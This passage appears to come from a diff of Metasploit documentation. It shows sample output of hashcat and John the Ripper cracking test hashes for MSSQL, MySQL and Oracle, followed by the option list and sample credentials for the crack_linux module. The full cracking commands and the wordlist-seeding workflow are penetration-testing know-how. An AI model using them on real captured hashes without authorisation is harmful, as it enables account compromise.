nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking oracle12c hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=7dadE1Lr --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12300 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking oracle12c hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=7dadE1Lr --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12300 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1379 mssql05 mssql05_toto toto Wordlist
|
||||
1380 mssql mssql_foo FOO Wordlist
|
||||
1382 mysql mysql_probe probe Wordlist
|
||||
1383 mysql-sha1 mysql-sha1_tere tere Wordlist
|
||||
1386 raw-sha1,oracle DEMO epsilon Wordlist
|
||||
1387 raw-sha1,oracle oracle11_epsilon epsilon Wordlist
|
||||
1388 oracle12c oracle12c_epsilon epsilon Wordlist
|
||||
|
||||
[*] Checking dynamic_1034 hashes already cracked...
|
||||
[*] Cracking dynamic_1034 hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=xtcCnmBc --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/wordlist
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking dynamic_1034 hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=xtcCnmBc --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[*] Cracking dynamic_1034 hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/bin/hashcat --session=xtcCnmBc --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-29687-sp1ejs /tmp/jtrtmp20190531-29687-1u8mjuq
|
||||
nvmlDeviceGetFanSpeed(): Not Supported
|
||||
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1379 mssql05 mssql05_toto toto Wordlist
|
||||
1380 mssql mssql_foo FOO Wordlist
|
||||
1382 mysql mysql_probe probe Wordlist
|
||||
1383 mysql-sha1 mysql-sha1_tere tere Wordlist
|
||||
1386 raw-sha1,oracle DEMO epsilon Wordlist
|
||||
1387 raw-sha1,oracle oracle11_epsilon epsilon Wordlist
|
||||
1388 oracle12c oracle12c_epsilon epsilon Wordlist
|
||||
1389 dynamic_1034 example password Wordlist
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
resource (hashes_hashcat.rb)> creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
mssql05_toto 0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908 Nonreplayable hash mssql05
|
||||
mssql_foo 0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254 Nonreplayable hash mssql
|
||||
mssql12_Password1! 0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16 Nonreplayable hash mssql12
|
||||
mysql_probe 445ff82636a7ba59 Nonreplayable hash mysql
|
||||
mysql-sha1_tere *5AD8F88516BD021DD43F171E2C785C69F8E54ADB Nonreplayable hash mysql-sha1
|
||||
simon 4F8BC1809CB2AF77 Nonreplayable hash des,oracle
|
||||
SYSTEM 9EEDFA0AD26C6D52 Nonreplayable hash des,oracle
|
||||
DEMO S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C Nonreplayable hash raw-sha1,oracle
|
||||
oracle11_epsilon S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C Nonreplayable hash raw-sha1,oracle
|
||||
oracle12c_epsilon H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B Nonreplayable hash pbkdf2,oracle12c
|
||||
example md5be86a79bf2043622d58d5453c47d4860 Postgres md5 raw-md5,postgres
|
||||
mssql_foo FOO Password
|
||||
mssql05_toto toto Password
|
||||
mysql_probe probe Password
|
||||
mysql-sha1_tere tere Password
|
||||
oracle11_epsilon epsilon Password
|
||||
DEMO epsilon Password
|
||||
oracle12c_epsilon epsilon Password
|
||||
example password Password
|
||||
```
|
||||
@@ -0,0 +1,664 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module attempts to use a password cracker to decode Linux
|
||||
based password hashes, such as:
|
||||
|
||||
* `DES` based passwords
|
||||
* `MD5` based passwords
|
||||
* `BSDi` based passwords
|
||||
* `bf`, `bcrypt`, or `blowfish` based passwords
|
||||
* `SHA256` based passwords
|
||||
* `SHA512` based passwords
|
||||
|
||||
| Common | John | Hashcat |
|
||||
|----------|-------------|-------- |
|
||||
| des | descript | 1500 |
|
||||
| md5 | md5crypt | 500 |
|
||||
| bsdi | bsdicrypt | 12400 |
|
||||
| blowfish | bcrypt | 3200 |
|
||||
| sha256 | sha256crypt | 7400 |
|
||||
| sha512 | sha512crypt | 1800 |
|
||||
|
||||
Sources of hashes can be found here:
|
||||
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Have at least one user with an `des`, `md5`, `bsdi`, `blowfish`, `sha512`, or `sha256` password hash in the database
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/analyze/crack_linux```
|
||||
4. Do: set cracker of choice
|
||||
5. Do: ```run```
|
||||
6. You should hopefully crack a password.
|
||||
|
||||
## Actions
|
||||
|
||||
**john**
|
||||
|
||||
Use john the ripper (default).
|
||||
|
||||
**hashcat**
|
||||
|
||||
Use hashcat.
|
||||
|
||||
## Options
|
||||
|
||||
**BLOWFISH**
|
||||
|
||||
Crack Blowfish hashes. Default is `false`.
|
||||
|
||||
**BSDi**
|
||||
|
||||
Crack BSDi hashes. Default is `true`.
|
||||
|
||||
**CONFIG**
|
||||
|
||||
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
|
||||
|
||||
|
||||
**CRACKER_PATH**
|
||||
|
||||
The absolute path to the cracker executable. Default behavior is to search `path`.
|
||||
|
||||
**CUSTOM_WORDLIST**
|
||||
|
||||
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
|
||||
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
|
||||
|
||||
**DES**
|
||||
|
||||
Crack DES hashes. Default is `true`.
|
||||
|
||||
**DeleteTempFiles**
|
||||
|
||||
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
|
||||
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
|
||||
|
||||
**Fork**
|
||||
|
||||
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
|
||||
|
||||
**INCREMENTAL**
|
||||
|
||||
Run the cracker in incremental mode. Default is `true`
|
||||
|
||||
**ITERATION_TIMEOUT**
|
||||
|
||||
The max-run-time for each iteration of cracking.
|
||||
|
||||
**KORELOGIC**
|
||||
|
||||
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
|
||||
Default is `false`.
|
||||
|
||||
**MD5**
|
||||
|
||||
Crack MD5 hashes. Default is `true`.
|
||||
|
||||
**MUTATE**
|
||||
|
||||
Apply common mutations to the Wordlist (SLOW). Mutations are:
|
||||
|
||||
* `'@' => 'a'`
|
||||
* `'0' => 'o'`
|
||||
* `'3' => 'e'`
|
||||
* `'$' => 's'`
|
||||
* `'7' => 't'`
|
||||
* `'1' => 'l'`
|
||||
* `'5' => 's'`
|
||||
|
||||
Default is `false`.
|
||||
|
||||
**POT**
|
||||
|
||||
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
|
||||
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
|
||||
Default is `~/.msf4/john.pot`.
|
||||
|
||||
**SHA256**
|
||||
|
||||
Crack SHA256 hashes. Default is `false`.
|
||||
|
||||
**SHA512**
|
||||
|
||||
Crack SHA12 hashes. Default is `false`.
|
||||
|
||||
**SHOWCOMMAND**
|
||||
|
||||
Show the command being used run from the command line for debugging. Default is `false`
|
||||
|
||||
**USE_CREDS**
|
||||
|
||||
Use existing credential data saved in the database. Default is `true`.
|
||||
|
||||
**USE_DB_INFO**
|
||||
|
||||
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
|
||||
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
|
||||
|
||||
**USE_DEFAULT_WORDLIST**
|
||||
|
||||
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
|
||||
`true`.
|
||||
|
||||
**USE_HOSTNAMES**
|
||||
|
||||
Seed the wordlist with hostnames from the workspace. Default is `true`.
|
||||
|
||||
**USE_ROOT_WORDS**
|
||||
|
||||
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
|
||||
is true.
|
||||
|
||||
**WORDLIST**
|
||||
|
||||
Run the cracker in dictionary/wordlist mode. Default is `true`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Sample Data
|
||||
|
||||
The following is data which can be used to test integration, including adding entries
|
||||
to a wordlist and pot file to test various aspects of the cracker.
|
||||
|
||||
```
|
||||
echo "" > /root/.msf4/john.pot
|
||||
echo "fakeV6xlcXxRM:55" >> /root/.msf4/john.pot
|
||||
echo "\$1\$O3JMY.Tw\$AdLnLjQ/5jXF9.fakegHv/:password" >> /root/.msf4/john.pot
|
||||
echo "test" > /tmp/wordlist
|
||||
echo "password" >> /tmp/wordlist
|
||||
echo "toto" >> /tmp/wordlist
|
||||
creds add user:des2_password hash:rEK1ecacw.7.c jtr:des
|
||||
creds add user:des_password hash:rEK1ecacw.7.c jtr:des
|
||||
creds add user:des_55 hash:rDpJV6xlcXxRM jtr:des
|
||||
creds add user:des_pot_55 hash:fakeV6xlcXxRM jtr:des
|
||||
creds add user:des_passphrase hash:qiyh4XPJGsOZ2MEAyLkfWqeQ jtr:des
|
||||
creds add user:md5_password hash:$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ jtr:md5
|
||||
creds add user:md52_password hash:$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ jtr:md5
|
||||
creds add user:md5_pot_password hash:$1$O3JMY.Tw$AdLnLjQ/5jXF9.fakegHv/ jtr:md5
|
||||
creds add user:bsdi_password hash:_J9..K0AyUubDrfOgO4s jtr:bsdi
|
||||
creds add user:sha256_password hash:$5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5 jtr:sha256
|
||||
creds add user:sha512_password hash:$6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1 jtr:sha512
|
||||
creds add user:blowfish_password hash:$2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe jtr:bf
|
||||
```
|
||||
|
||||
### John the Ripper
|
||||
|
||||
We'll set `ITERATION_TIMEOUT 60` for a quick crack, `blowfish true`, `sha256 true`, `sha512 true` to handle the bfish, sha256 and sha512 hashes,
|
||||
and `ShowCommand true` for easy debugging.
|
||||
|
||||
```
|
||||
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
|
||||
CUSTOM_WORDLIST => /tmp/wordlist
|
||||
resource (hashes_hashcat.rb)> setg ShowCommand true
|
||||
ShowCommand => true
|
||||
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
|
||||
USE_DEFAULT_WORDLIST => false
|
||||
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
|
||||
DeleteTempFiles => false
|
||||
resource (hashes_hashcat.rb)> setg USE_CREDS false
|
||||
USE_CREDS => false
|
||||
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
|
||||
USE_DB_INFO => false
|
||||
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
|
||||
USE_HOSTNAMES => false
|
||||
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
|
||||
USE_ROOT_WORDS => false
|
||||
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
|
||||
ITERATION_TIMEOUT => 60
|
||||
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_linux
|
||||
resource (hashes_hashcat.rb)> set blowfish true
|
||||
blowfish => true
|
||||
resource (hashes_hashcat.rb)> set sha256 true
|
||||
sha256 => true
|
||||
resource (hashes_hashcat.rb)> set sha512 true
|
||||
sha512 => true
|
||||
resource (hashes_hashcat.rb)> run
|
||||
[+] john Version Detected: 1.9.0-jumbo-1 OMP
|
||||
[*] Hashes Written out to /tmp/hashes_tmp20190531-28293-u4ihgb
|
||||
[*] Wordlist file written out to /tmp/jtrtmp20190531-28293-19rhhdd
|
||||
[*] Checking md5crypt hashes already cracked...
|
||||
[*] Cracking md5crypt hashes in single mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=JKDS2w8U --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=md5crypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
|
||||
Using default input encoding: UTF-8
|
||||
Will run 8 OpenMP threads
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
1g 0:00:00:00 DONE (2019-05-31 15:20) 100.0g/s 76800p/s 76800c/s 76800C/s test3:::..tere!
|
||||
Warning: passwords printed above might not be all those cracked
|
||||
Use the "--show" option to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
[*] Cracking md5crypt hashes in normal mode
|
||||
[*] Cracking Command: /usr/sbin/john --session=JKDS2w8U --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=md5crypt --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking md5crypt hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=JKDS2w8U --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=md5crypt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking md5crypt hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=JKDS2w8U --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=md5crypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
|
||||
Using default input encoding: UTF-8
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1303 md5crypt md5_password password Single
|
||||
1304 md5crypt md52_password password Single
|
||||
1305 md5crypt md5_pot_password password Already Cracked/POT
|
||||
|
||||
[*] Checking descrypt hashes already cracked...
|
||||
[*] Cracking descrypt hashes in single mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=TYlIcIco --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
|
||||
Using default input encoding: UTF-8
|
||||
Will run 8 OpenMP threads
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
1g 0:00:00:00 DONE (2019-05-31 15:20) 100.0g/s 1102Kp/s 4410Kc/s 4410KC/s test3:::..t1900
|
||||
Warning: passwords printed above might be partial and not be all those cracked
|
||||
Use the "--show" option to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
[*] Cracking descrypt hashes in normal mode
|
||||
[*] Cracking Command: /usr/sbin/john --session=TYlIcIco --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
|
||||
Using default input encoding: UTF-8
|
||||
Will run 8 OpenMP threads
|
||||
Proceeding with single, rules:Single
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
3g 0:00:00:00 DONE 1/3 (2019-05-31 15:20) 300.0g/s 614200p/s 614400c/s 614400C/s des_pass..Dde_pass
|
||||
Warning: passwords printed above might be partial
|
||||
Use the "--show" option to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
[*] Cracking descrypt hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=TYlIcIco --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking descrypt hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=TYlIcIco --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=descrypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
|
||||
Using default input encoding: UTF-8
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1298 descrypt des2_password password Single
|
||||
1299 descrypt des_password password Single
|
||||
1300 descrypt des_55 55 Normal
|
||||
1301 descrypt des_pot_55 55 Already Cracked/POT
|
||||
1302 descrypt des_passphrase passphrase Normal
|
||||
1303 md5crypt md5_password password Single
|
||||
1304 md5crypt md52_password password Single
|
||||
1305 md5crypt md5_pot_password password Already Cracked/POT
|
||||
|
||||
[*] Checking bsdicrypt hashes already cracked...
|
||||
[*] Cracking bsdicrypt hashes in single mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=24lUijDR --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=bsdicrypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
|
||||
Using default input encoding: UTF-8
|
||||
Will run 8 OpenMP threads
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
1g 0:00:00:00 DONE (2019-05-31 15:20) 50.00g/s 102400p/s 102400c/s 102400C/s test3:::..Tere6
|
||||
Use the "--show" option to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
[*] Cracking bsdicrypt hashes in normal mode
|
||||
[*] Cracking Command: /usr/sbin/john --session=24lUijDR --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=bsdicrypt --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking bsdicrypt hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=24lUijDR --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=bsdicrypt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking bsdicrypt hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=24lUijDR --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=bsdicrypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
|
||||
Using default input encoding: UTF-8
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1298 descrypt des2_password password Single
|
||||
1299 descrypt des_password password Single
|
||||
1300 descrypt des_55 55 Normal
|
||||
1301 descrypt des_pot_55 55 Already Cracked/POT
|
||||
1302 descrypt des_passphrase passphrase Normal
|
||||
1303 md5crypt md5_password password Single
|
||||
1304 md5crypt md52_password password Single
|
||||
1305 md5crypt md5_pot_password password Already Cracked/POT
|
||||
1306 bsdicrypt bsdi_password password Single
|
||||
|
||||
[*] Checking bcrypt hashes already cracked...
|
||||
[*] Cracking bcrypt hashes in single mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=YCMwoPbH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=bcrypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
|
||||
Using default input encoding: UTF-8
|
||||
Will run 8 OpenMP threads
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
1g 0:00:00:00 DONE (2019-05-31 15:20) 33.33g/s 2400p/s 2400c/s 2400C/s test3:::..test::0
|
||||
Use the "--show" option to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
[*] Cracking bcrypt hashes in normal mode
|
||||
[*] Cracking Command: /usr/sbin/john --session=YCMwoPbH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=bcrypt --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking bcrypt hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=YCMwoPbH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=bcrypt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking bcrypt hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=YCMwoPbH --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=bcrypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
|
||||
Using default input encoding: UTF-8
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1298 descrypt des2_password password Single
|
||||
1299 descrypt des_password password Single
|
||||
1300 descrypt des_55 55 Normal
|
||||
1301 descrypt des_pot_55 55 Already Cracked/POT
|
||||
1302 descrypt des_passphrase passphrase Normal
|
||||
1303 md5crypt md5_password password Single
|
||||
1304 md5crypt md52_password password Single
|
||||
1305 md5crypt md5_pot_password password Already Cracked/POT
|
||||
1306 bsdicrypt bsdi_password password Single
|
||||
1309 bcrypt blowfish_password password Single
|
||||
|
||||
[*] Checking sha256crypt hashes already cracked...
|
||||
[*] Cracking sha256crypt hashes in single mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=XVDR4pAU --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=sha256crypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
|
||||
Using default input encoding: UTF-8
|
||||
Will run 8 OpenMP threads
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
1g 0:00:00:00 DONE (2019-05-31 15:20) 2.173g/s 8904p/s 8904c/s 8904C/s test3:::..1foo
|
||||
Use the "--show" option to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
[*] Cracking sha256crypt hashes in normal mode
|
||||
[*] Cracking Command: /usr/sbin/john --session=XVDR4pAU --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=sha256crypt --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking sha256crypt hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=XVDR4pAU --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=sha256crypt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking sha256crypt hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=XVDR4pAU --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=sha256crypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
|
||||
Using default input encoding: UTF-8
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1298 descrypt des2_password password Single
|
||||
1299 descrypt des_password password Single
|
||||
1300 descrypt des_55 55 Normal
|
||||
1301 descrypt des_pot_55 55 Already Cracked/POT
|
||||
1302 descrypt des_passphrase passphrase Normal
|
||||
1303 md5crypt md5_password password Single
|
||||
1304 md5crypt md52_password password Single
|
||||
1305 md5crypt md5_pot_password password Already Cracked/POT
|
||||
1306 bsdicrypt bsdi_password password Single
|
||||
1307 sha256crypt sha256_password password Single
|
||||
1309 bcrypt blowfish_password password Single
|
||||
|
||||
[*] Checking sha512crypt hashes already cracked...
|
||||
[*] Cracking sha512crypt hashes in single mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=nJBNk8dS --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=sha512crypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
|
||||
Using default input encoding: UTF-8
|
||||
Will run 8 OpenMP threads
|
||||
Press 'q' or Ctrl-C to abort, almost any other key for status
|
||||
1g 0:00:00:00 DONE (2019-05-31 15:20) 4.545g/s 4654p/s 4654c/s 4654C/s test3:::..test2::k
|
||||
Use the "--show" option to display all of the cracked passwords reliably
|
||||
Session completed
|
||||
[*] Cracking sha512crypt hashes in normal mode
|
||||
[*] Cracking Command: /usr/sbin/john --session=nJBNk8dS --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=sha512crypt --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking sha512crypt hashes in incremental mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=nJBNk8dS --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=sha512crypt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
|
||||
Using default input encoding: UTF-8
|
||||
[*] Cracking sha512crypt hashes in wordlist mode...
|
||||
[*] Cracking Command: /usr/sbin/john --session=nJBNk8dS --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=sha512crypt --wordlist=/tmp/jtrtmp20190531-28293-19rhhdd --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-28293-u4ihgb
|
||||
Using default input encoding: UTF-8
|
||||
[+] Cracked Hashes
|
||||
==============
|
||||
|
||||
DB ID Hash Type Username Cracked Password Method
|
||||
----- --------- -------- ---------------- ------
|
||||
1298 descrypt des2_password password Single
|
||||
1299 descrypt des_password password Single
|
||||
1300 descrypt des_55 55 Normal
|
||||
1301 descrypt des_pot_55 55 Already Cracked/POT
|
||||
1302 descrypt des_passphrase passphrase Normal
|
||||
1303 md5crypt md5_password password Single
|
||||
1304 md5crypt md52_password password Single
|
||||
1305 md5crypt md5_pot_password password Already Cracked/POT
|
||||
1306 bsdicrypt bsdi_password password Single
|
||||
1307 sha256crypt sha256_password password Single
|
||||
1308 sha512crypt sha512_password password Single
|
||||
1309 bcrypt blowfish_password password Single
|
||||
